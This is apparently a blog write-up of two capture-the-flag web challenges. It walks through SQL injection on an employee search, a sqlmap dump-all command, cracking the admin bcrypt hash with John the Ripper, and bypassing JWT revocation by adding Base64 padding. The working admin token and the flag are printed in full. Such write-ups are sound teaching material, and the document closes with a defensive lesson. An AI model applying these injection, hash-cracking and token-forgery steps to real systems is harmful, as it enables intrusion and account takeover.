Post

Revoked & Revoked Revenge β€” SQLi to JWT Revocation Bypass

Revoked & Revoked Revenge β€” SQLi to JWT Revocation Bypass

πŸ›‘ Revoked Challenge

Desktop View


1️⃣ Initial Enumeration

I started by visiting the challenge website, which exposed:

  • A login page
  • A registration page

Desktop View

I initially tested the login form for basic SQL injection, but the endpoint didn’t return anything exploitable.


2️⃣ Creating an Account

Since login SQLi failed, I registered a new user:

username: test password: test

Desktop View

After logging in, two new routes appeared:

  • /employees β€” employee search page
  • /admin β€” admin panel (access denied)

Desktop View

Desktop View

The objective was clearly to escalate privileges to admin.


3️⃣ Finding the Injection Point

On /employees, there was a search bar issuing the request:

GET /employees?query=

First test

GET /employees?query=’

Resulted in a 500 Internal Server Error, confirming a backend SQL error.

Desktop View


Second test

GET /employees?query=’ –

Returned 200 OK, meaning the query became syntactically valid.

Desktop View

βœ… SQL injection confirmed on the query parameter.


4️⃣ Manual SQLi Testing

I sent the request to Burp Intruder and started testing UNION-based payloads.

Column count discovery

Through incremental UNION tests, I confirmed the query had 4 columns.

Desktop View

Data type testing

All columns accepted string values, meaning 'text' could be injected safely.

Desktop View

At this stage, dumping the database manually was possible β€” but automation was faster.


5️⃣ Automating with SQLMap

I saved the vulnerable request (including the JWT cookie) into req.txt and ran:

1
sqlmap -r req.txt -p query --dbms=SQLite --dbs --batch --tables --dump-all

SQLMap identified three tables, one of which contained credentials. Desktop View

The relevant table included: Desktop View

1
2
username
password_hash (bcrypt)

Desktop View

Desktop View

Desktop View

6️⃣ Cracking the Admin Password Using John the Ripper with RockYou:

1
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Desktop View

βœ… Password cracked:

1
pass

Logging in as admin granted access to the admin panel and revealed the flag.

Desktop View

Revoked Revenge Challenge

Desktop View

🧠 Overview This challenge looked almost identical β€” same /employees page, same SQL injection.

However, after dumping the database, a suspicious table appeared:

revoked_tokens

πŸ” JWT Analysis I extracted the admin JWT and decoded it using jwt.io.

1
2
3
4
5
6
7
8
9
10
11
Header
{
  "alg": "HS256",
  "typ": "JWT"
}
Payload
{
  "username": "admin",
  "is_admin": 1,
  "issued": 1764597744.384469
}

Everything looked valid β€” but admin access was denied.

I tried all classic attacks:

Modifying is_admin

alg: none

Cracking HS256 secret

Nothing worked.

πŸ’‘ The Revocation Bypass The admin token signature appeared in the revoked_tokens table:

V7RNjlnwqGAnSLl6sbG4MS1uOM45fAUp3a2khurJ-1E After digging deeper, I realized the revocation system was comparing raw Base64URL strings.

Key insight: Base64URL padding (=) is optional

Adding == does not change decoded bytes

Signature verification still passes

Result: Original token β†’ blocked

Token + == β†’ bypasses revocation

βœ… Working Admin Token

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNfYWRtaW4iOjEsImlzc3VlZCI6MTc2NDU5Nzc0NC4zODQ0Njl9.V7RNjlnwqGAnSLl6sbG4MS1uOM45fAUp3a2khurJ-1E==

Used it β†’ instant admin access.

🚩 Final Flag

1
Hero{N0t_th4t_r3v0k3d_37d75e49a6578b66652eca1cfe080e5b}

🧠 Takeaway Never store raw JWT signatures for revocation.

βœ” Always normalize βœ” Or hash decoded signature bytes ❌ Never compare raw Base64URL strings

This padding trick is a killer bypass when revocation is implemented sloppily.

HAPPY HACKING 😈

This post is licensed under CC BY 4.0 by the author.